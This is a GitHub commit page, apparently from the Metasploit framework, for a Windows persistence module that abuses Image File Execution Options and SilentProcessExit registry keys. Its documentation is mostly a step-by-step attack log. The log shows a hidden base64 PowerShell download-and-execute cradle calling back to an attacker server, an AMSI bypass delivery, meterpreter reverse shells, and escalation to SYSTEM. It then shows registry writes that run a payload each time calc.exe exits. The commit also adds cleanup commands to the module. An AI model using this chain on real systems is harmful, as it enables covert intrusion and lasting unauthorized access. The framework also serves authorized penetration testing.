Skip to content

Commit 915cad7

Browse files
h00dieh00die
committed
modern persistence for windows image_exec_options
1 parent 01a07ac commit 915cad7

File tree

3 files changed

+148
-93
lines changed

3 files changed

+148
-93
lines changed

‎documentation/modules/exploit/windows/local/persistence_image_exec_options.md‎

Lines changed: 0 additions & 93 deletions
This file was deleted.

‎documentation/modules/exploit/windows/persistence/image_exec_options.md‎

Lines changed: 143 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,143 @@
1+
## Description
2+
3+
This module leverages Windows debugging tools to cause a payload to launch
4+
every time a specified binary exits.
5+
6+
The payload will execute at the same priv level as the launched binary.
7+
8+
## Vulnerable Target
9+
10+
Windows 7+ as elevated user
11+
12+
## Verification Steps
13+
14+
1. Start msfconsole
15+
2. Get a shell/meterpreter on a windows box
16+
3. Do: `use exploit/windows/persistence/image_exec_options `
17+
4. Do: `set session #`
18+
5. Do: `run`
19+
6. You should get persistence once the targeted application is open and closed.
20+
21+
## Options
22+
23+
### PAYLOAD_NAME
24+
25+
Name of the payload file. Defaults to `<random>.exe`
26+
27+
### IMAGE_FILE
28+
29+
The executable to bind to. Example: `calc.exe`, `notepad.exe`
30+
31+
## Scenarios
32+
33+
### Windows 10
34+
35+
Original Shell
36+
37+
```
38+
└─$ ./msfconsole -q
39+
[*] Processing /root/.msf4/msfconsole.rc for ERB directives.
40+
resource (/root/.msf4/msfconsole.rc)> setg verbose true
41+
verbose => true
42+
resource (/root/.msf4/msfconsole.rc)> setg lhost 1.1.1.1
43+
lhost => 1.1.1.1
44+
resource (/root/.msf4/msfconsole.rc)> setg payload cmd/linux/http/x64/meterpreter/reverse_tcp
45+
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
46+
resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
47+
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
48+
resource (/root/.msf4/msfconsole.rc)> run
49+
[-] Exploit failed: cmd/linux/http/x64/meterpreter/reverse_tcp is not a compatible payload.
50+
[*] Exploit completed, but no session was created.
51+
resource (/root/.msf4/msfconsole.rc)> set target 2
52+
target => 2
53+
resource (/root/.msf4/msfconsole.rc)> set srvport 8085
54+
srvport => 8085
55+
resource (/root/.msf4/msfconsole.rc)> set uripath w2
56+
uripath => w2
57+
resource (/root/.msf4/msfconsole.rc)> set payload payload/windows/x64/meterpreter/reverse_tcp
58+
payload => windows/x64/meterpreter/reverse_tcp
59+
resource (/root/.msf4/msfconsole.rc)> set lport 4449
60+
lport => 4449
61+
resource (/root/.msf4/msfconsole.rc)> run
62+
[*] Exploit running as background job 0.
63+
[*] Exploit completed, but no session was created.
64+
[*] Started reverse TCP handler on 1.1.1.1:4449
65+
[*] Using URL: http://1.1.1.1:8085/w2
66+
[*] Server started.
67+
[*] Run the following command on the target machine:
68+
powershell.exe -nop -w hidden -e WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsAJABkAG4AbAA9AG4AZQB3AC0AbwBiAGoAZQBjAHQAIABuAGUAdAAuAHcAZQBiAGMAbABpAGUAbgB0ADsAaQBmACgAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUAByAG8AeAB5AF0AOgA6AEcAZQB0AEQAZQBmAGEAdQBsAHQAUAByAG8AeAB5ACgAKQAuAGEAZABkAHIAZQBzAHMAIAAtAG4AZQAgACQAbgB1AGwAbAApAHsAJABkAG4AbAAuAHAAcgBvAHgAeQA9AFsATgBlAHQALgBXAGUAYgBSAGUAcQB1AGUAcwB0AF0AOgA6AEcAZQB0AFMAeQBzAHQAZQBtAFcAZQBiAFAAcgBvAHgAeQAoACkAOwAkAGQAbgBsAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsAfQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADIALgAyADIAOAA6ADgAMAA4ADUALwB3ADIALwBhAGYAbwBvAFkATwByAGMAYgA5AHEAYgBwAE8ATQAnACkAKQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADIALgAyADIAOAA6ADgAMAA4ADUALwB3ADIAJwApACkAOwA=
69+
msf exploit(multi/script/web_delivery) >
70+
[*] 2.2.2.2 web_delivery - Delivering AMSI Bypass (1386 bytes)
71+
[*] 2.2.2.2 web_delivery - Powershell command length: 3727
72+
[*] 2.2.2.2 web_delivery - Delivering Payload (3727 bytes)
73+
[*] Sending stage (203846 bytes) to 2.2.2.2
74+
[*] Meterpreter session 1 opened (1.1.1.1:4449 -> 2.2.2.2:52295) at 2025-09-23 17:10:43 -0400
75+
76+
msf exploit(multi/script/web_delivery) > sessions -i 1
77+
[*] Starting interaction with 1...
78+
79+
meterpreter > getsystem
80+
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
81+
meterpreter > getuid
82+
Server username: NT AUTHORITY\SYSTEM
83+
meterpreter > sysinfo
84+
Computer : WIN10PROLICENSE
85+
OS : Windows 10 22H2+ (10.0 Build 19045).
86+
Architecture : x64
87+
System Language : en_US
88+
Domain : WORKGROUP
89+
Logged On Users : 2
90+
Meterpreter : x64/windows
91+
meterpreter > background
92+
[*] Backgrounding session 1...
93+
```
94+
95+
Persistence
96+
97+
```
98+
msf exploit(multi/script/web_delivery) > use exploit/windows/persistence/image_exec_options
99+
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
100+
msf exploit(windows/persistence/image_exec_options) > set session 1
101+
session => 1
102+
msf exploit(windows/persistence/image_exec_options) > set IMAGE_FILE calc.exe
103+
IMAGE_FILE => calc.exe
104+
msf exploit(windows/persistence/image_exec_options) > set payload windows/meterpreter/reverse_tcp
105+
payload => windows/meterpreter/reverse_tcp
106+
msf exploit(windows/persistence/image_exec_options) > rexploit
107+
[*] Reloading module...
108+
[*] Exploit running as background job 4.
109+
[*] Exploit completed, but no session was created.
110+
111+
[*] Started reverse TCP handler on 1.1.1.1:4444
112+
msf exploit(windows/persistence/image_exec_options) > [*] Running automatic check ("set AutoCheck false" to disable)
113+
[+] The target appears to be vulnerable. Likely exploitable
114+
[*] Attempting Persistence on WIN10PROLICENSE via session ID: 1
115+
[*] Payload pathname = C:\Users\windows\AppData\Local\Temp\yoRmhrs.exe
116+
[*] Writing GlobalFlag to HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\calc.exe
117+
[*] Writing ReportingMode to HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\calc.exe
118+
[*] Writing MonitorProcess to HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\calc.exe
119+
[*] Payload (7168 bytes) uploaded on WIN10PROLICENSE to C:\Users\windows\AppData\Local\Temp\yoRmhrs.exe
120+
[*] Meterpreter-compatible Cleanup RC file: /root/.msf4/logs/persistence/WIN10PROLICENSE_20250923.1758/WIN10PROLICENSE_20250923.1758.rc
121+
```
122+
123+
Open `calc.exe` on the target machine
124+
125+
```
126+
[*] Sending stage (177734 bytes) to 2.2.2.2
127+
[*] Meterpreter session 3 opened (1.1.1.1:4444 -> 2.2.2.2:52327) at 2025-09-23 17:18:33 -0400
128+
129+
msf exploit(windows/persistence/image_exec_options) > sessions -i 3
130+
[*] Starting interaction with 3...
131+
132+
meterpreter > run /root/.msf4/logs/persistence/WIN10PROLICENSE_20250923.1758/WIN10PROLICENSE_20250923.1758.rc
133+
[*] Processing /root/.msf4/logs/persistence/WIN10PROLICENSE_20250923.1758/WIN10PROLICENSE_20250923.1758.rc for ERB directives.
134+
resource (/root/.msf4/logs/persistence/WIN10PROLICENSE_20250923.1758/WIN10PROLICENSE_20250923.1758.rc)> rm C:\Users\windows\AppData\Local\Temp\yoRmhrs.exe
135+
[-] stdapi_fs_delete_file: Operation failed: The system cannot find the file specified.
136+
resource (/root/.msf4/logs/persistence/WIN10PROLICENSE_20250923.1758/WIN10PROLICENSE_20250923.1758.rc)> execute -f cmd.exe -a "/c reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\calc.exe" /v GlobalFlag /f" -H
137+
Process 7092 created.
138+
resource (/root/.msf4/logs/persistence/WIN10PROLICENSE_20250923.1758/WIN10PROLICENSE_20250923.1758.rc)> execute -f cmd.exe -a "/c reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\calc.exe" /v ReportingMode /f" -H
139+
Process 7568 created.
140+
resource (/root/.msf4/logs/persistence/WIN10PROLICENSE_20250923.1758/WIN10PROLICENSE_20250923.1758.rc)> execute -f cmd.exe -a "/c reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\calc.exe" /v MonitorProcess /f" -H
141+
Process 2604 created.
142+
meterpreter >
143+
```

‎modules/exploits/windows/persistence/image_exec_options.rb‎

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -37,6 +37,7 @@ def initialize(info = {})
3737
],
3838
'DefaultTarget' => 0,
3939
'DisclosureDate' => '2008-06-28',
40+
'Privileged' => true,
4041
'References' => [
4142
['ATT&CK', Mitre::Attack::Technique::T1183_IMAGE_FILE_EXECUTION_OPTIONS_INJECTION],
4243
['URL', 'https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/']
@@ -133,5 +134,9 @@ def install_persistence
133134
payload_pathname = temp_path + '\\' + payload_name + '.exe'
134135
vprint_status("Payload pathname = #{payload_pathname}")
135136
upload_payload(payload_pathname) if write_reg_keys(image_file, payload_pathname)
137+
@clean_up_rc << "rm #{payload_pathname}\n"
138+
@clean_up_rc << "execute -f cmd.exe -a \"/c reg delete \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\#{image_file}\" /v GlobalFlag /f\" -H\n"
139+
@clean_up_rc << "execute -f cmd.exe -a \"/c reg delete \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\#{image_file}\" /v ReportingMode /f\" -H\n"
140+
@clean_up_rc << "execute -f cmd.exe -a \"/c reg delete \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\#{image_file}\" /v MonitorProcess /f\" -H\n"
136141
end
137142
end

0 commit comments

Comments
 (0)